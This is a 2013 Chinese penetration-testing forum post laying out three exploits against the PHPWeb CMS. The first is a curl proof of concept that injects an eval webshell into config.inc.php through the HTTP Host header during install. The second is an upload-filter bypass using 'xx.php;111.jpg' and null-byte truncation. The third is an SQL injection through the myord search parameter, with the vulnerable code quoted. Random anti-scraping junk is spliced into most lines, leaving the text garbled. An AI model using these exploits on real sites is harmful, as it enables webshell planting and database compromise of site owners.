中国网络渗透测试联盟

标题: phpweb成品网站最新版(注入、上传、写shell) [打印本页]

作者: admin    时间: 2013-1-4 19:45
标题: phpweb成品网站最新版(注入、上传、写shell)
注入:
/ w3 H2 @2 s) v% H, `7 Y; ?3 O$ |3 J9 F, L8 c+ n/ ~" F" Q
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码6 C1 k* n  l: k/ `; {% Q

, D$ G: j- N$ v6 {+ h鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件& l. B( M9 s+ g! G& i, Z
鸡肋2: 有一定安全常识的站长都会删掉 install 目录
1 ^8 P& V6 g! u7 _) s
# B2 N6 Y6 J2 X虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响3 }6 F# s( n3 m# D# }0 K/ ~+ r
7 W: ]4 B/ n! Y
分析:/ y1 s" v5 p  J+ V" c6 ~; A
) O2 O7 y, W' t5 h/ V7 z
# W* F/ f/ ~$ p. P
$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤5 q( _" ^* X8 v! ?

5 c8 [  K# `5 y! v9 X& S9 l                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);
# o, C8 C. G$ J                                            $filestr=str_replace(" ","",$filestr);
# c. T" o* x; G7 {0 H6 b                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);0 T3 G9 P9 T5 O( ^* k: R  L
                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);
: ~2 T! q* W  w# c( u7 e                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);3 U, }. }, ~4 l  p( O2 x
                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
& b3 W2 L. F1 r* G8 b8 {" H                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);3 G- c- O% @7 T1 K8 W4 }7 `$ w$ _
                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);$ K) t4 F/ {0 {1 X% a
                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
3 H' w  f6 i: D0 _ # r% Q7 U. g* E, U' K
                                            fwrite(fopen($ConFile,"w"),$filestr,30000);
3 w3 [  e' a6 d' }) y  J5 a: k$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
: J5 w  H) e7 _
  _& b9 q  }% {( Z* L6 D: r3 `1 epoc:
/ ]' E* H5 ?2 o4 w, _% O; f/ k
' O  V/ V1 z$ \" J5 q?. o3 U$ U" `" P
1
: I, Y( {2 E; ?% r4 _# Jcurl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"+ _% |3 a0 G4 ~; k% s
shell地址: /config.inc.php1 g: {. ~, |# n3 _4 G2 s5 M
跟之前的 phpcms一样 需要远程数据库# Q  }/ E* X0 W* X5 F* r& Z" h

0 M0 |$ S/ P8 V9 U4 B1 Q0 S1 Y——————————————————–
- S* g* `2 b; N5 P上传漏洞(需要进后台):
6 }7 X- l- @/ D# S$ a  i! _9 P6 X" }漏洞文件: /kedit/upload_cgi/upload.php
6 X7 [' b; p, ]& }+ ^% q4 a这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
& N. x* F3 g, S6 k' {3 x
% D" ]' C  a$ r  I: u# w* E: W) O
  m# [0 U$ L: W0 V/ ]* l- _: @<?php
( E8 B* r1 m! @9 X7 n8 c8 l    define("ROOTPATH", "../../");. a! W# V! ?' L" Q
    include(ROOTPATH."includes/admin.inc.php");* u$ y( Y& ~0 \
    NeedAuth(0);
( F/ f/ p& j* D0 Z8 W8 c/ ^: r0 O1 f
, o! D7 _1 [" h, T1 a& K    $dt=date("Ymd",time());
$ ]6 s9 d: x8 V$ R3 p4 [. f    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){+ r1 |. ?( j2 M
            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);8 Y8 m& K: m  @8 G
    }
7 _. i. z: a' h
2 |% g6 e: M# V7 h( n    //文件保存目录路径, Q8 i1 \0 x7 w) C; ]: v
    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
- }$ }3 r! n# ]    echo $save_path;
: ~$ T9 B! T0 M! z    //文件保存目录URL
, q9 J$ \3 h! s8 H6 [3 ?, M    $save_url = '../../'.$_POST['attachPath'].$dt.'/';
; y1 c5 ~8 r. A* \% Z 6 B" l- Z( R  _4 j' j# a4 c- E6 F
    //定义允许上传的文件扩展名
" m; f/ l% h/ g* o, D    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀) U8 O1 h1 c- m% ^+ Z
# x- y" N4 W; a
    //最大文件大小0 N/ `& S* r; x! j
    $max_size = 1000000;( Z4 c4 {. ]/ u: H
; u4 N: x/ S  ]3 g! ?0 j% E
    //更改目录权限2 \( G( g$ T+ N, p; r8 L. ~  {
    @mkdir($save_path, 0777);
, F4 m3 a; ~: p0 I + @0 [6 ?( v: n
    //文件的全部路径& s/ E) Q& a5 m( y) G, d3 A
    $file_path = $save_path.$_POST['fileName'];   //保存文件名
7 k% D. R- n1 {' u* [8 D$ P
) [4 M2 g) I  m+ l    //文件URL
: Y, x9 ^5 Y2 O2 N2 t9 }  J    $file_url = $save_url.$_POST['fileName'];
. ^! g) L  E* k) ~4 v7 q; P//有上传文件时
. s  d( e: R+ o) f    if (empty($_FILES) === false) {2 A) j7 G$ e9 k
) \% G! B" T2 R& {& Y
            //原文件名3 p( ?1 w$ `& H4 o2 v( M
            $file_name = $_FILES['fileData']['name'];, v+ z  L! \  Y
            //服务器上临时文件名
$ z& ]$ A  x+ x: Z9 f! F            $tmp_name = $_FILES['fileData']['tmp_name'];
1 b* Q& S. q  k7 g            //文件大小2 o2 p0 \# o2 b, [, X$ s( N: D
            $file_size = $_FILES['fileData']['size'];! C. K* K0 e( R& [# Z
            //检查目录
% _# c* h2 ]; A: \$ O            if (@is_dir($save_path) === false) {2 I; Y! N% g% |" d# j6 e
                    alert("上传目录不存在。");/ ^" n' c3 P" z3 M/ h  v8 C
            }
; H. T) n% e' [( I9 j# _            //检查目录写权限! l1 B/ s9 R" O' U/ Y+ q
            if (@is_writable($save_path) === false) {
# P, M  s7 \, p% Y0 g                    alert("上传目录没有写权限。");& K; p/ \* w$ C% W3 M9 E9 x
            }8 C$ {0 `7 i3 n4 e* H
            //检查是否已上传& U: g+ }: O) M  Y4 k, d% m* J
            if (@is_uploaded_file($tmp_name) === false) {# m5 T! m/ Q/ E* A9 i& g4 x! x
                    alert("临时文件可能不是上传文件。");' |/ w5 {: N5 {3 r
            }
9 r, C3 i, K) y8 }            //检查文件大小/ M6 M" \; b" A* o5 W1 D: Q% l
            if ($file_size > $max_size) {
0 l: R) |; i/ t3 @) ^4 h1 a                    alert("上传文件大小超过限制。");# p. t. b5 U8 Q, Z
            }- F  s5 Q# A7 W
            //获得文件扩展名3 V9 [; o# G# l4 ~8 y
            $temp_arr = explode(".", $_POST['fileName']);
, H- [+ N+ a* B. w2 `            $file_ext = array_pop($temp_arr);; k, x4 a1 o- L2 |9 @
            $file_ext = trim($file_ext);* \1 t: `) T7 v4 O
            $file_ext = strtolower($file_ext);
5 A! i/ z+ n$ g& P
9 P. V- w9 K" m3 \            //检查扩展名   ( G  {3 |4 ?( n: I% B* z
            if (in_array($file_ext, $ext_arr) === false) {     / q* a9 j( n1 n/ H% m! |/ l
                    alert("上传文件扩展名是不允许的扩展名。");
2 e) ?1 O0 {. W9 {5 y. ?" e6 X7 r            }: x) X" C$ C- f! S; ?) [

* e" r3 [8 w# }" C" P5 @0 {* g- j            //移动文件   4 Z" k" S. d! J
            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^
, W/ R4 p- Z8 r$ K8 v- S9 l1 `2 P: t            if (move_uploaded_file($tmp_name, $file_path) === false) {- K. N2 u9 X8 m- q& Y& K
                    alert("上传文件失败。");4 F; C* f# Q& T* V' \/ M
            }
! }' q& D5 D+ }; f* Z: j 7 w; P; A6 l3 u9 e' [, H: K& o8 B) V
            @chmod($file_path,0666);
9 A. S* z! D; S# X. B' [
" U# y& ?' r) j$ [- m- K8 B    ?>
4 m8 f9 v* m+ E% O9 R1 }( [5 `抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
+ \  H0 W1 j" j+ `# L+ J) c/ ~ + Q' g! H4 G( ^% o
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
/ X2 ^( \; y: P0 S" C; V6 t " f8 P" Z! t5 `% o! e
——————————————————
4 [9 O9 q; M/ W* u注入漏洞:
8 }" t( A6 m, E  u4 p漏洞文件:search/module/search.php, }1 s3 N8 _+ t- g
/search/index.php?key=1&myord=1 [sqlinjection]3 K! x9 f6 d/ k" d, t& [
/ \8 n" C$ f: ?) I: o4 V6 ^/ }0 Z
' U! U5 o  S2 S- X" ?6 f  E$ T1 a
<?php
5 A: U2 W) k8 `   //       ... 省略 n 行...( Q7 o% p  J5 M
   //第18行:+ N" ?9 c( b; W
           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响6 A% Q7 P( M! e+ ]
           $page=htmlspecialchars($_GET["page"]);& D' ^3 L8 D0 Y# A% C$ K
           $myord=htmlspecialchars($_GET["myord"]);
4 l& g1 S+ Z. C, S- u& G! ]
  z6 m. s1 z4 H7 M; ^3 r- ^   //       ... 省略 n 行...
/ P  t6 E7 k/ S. P; g! e   $key,$myord 两个参数带入查询
# T3 S4 O$ l; P1 V1 x9 `+ H   //第47行 $key:
# K" h- @& }! x9 ]0 L3 {
  `5 P+ ~1 [* l   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..
! |2 G6 ?7 ^& O . r; U( n6 u" _, z; H" Q
   //第197行 $myord
- {1 |5 Q% A" U4 s7 X: t0 X; u4 w   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入+ C3 l% s; \1 J( z

$ q8 x0 ]/ [1 s1 W: [   ?>
8 l2 ~  @% x* |! Q( i7 _, H# Y




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2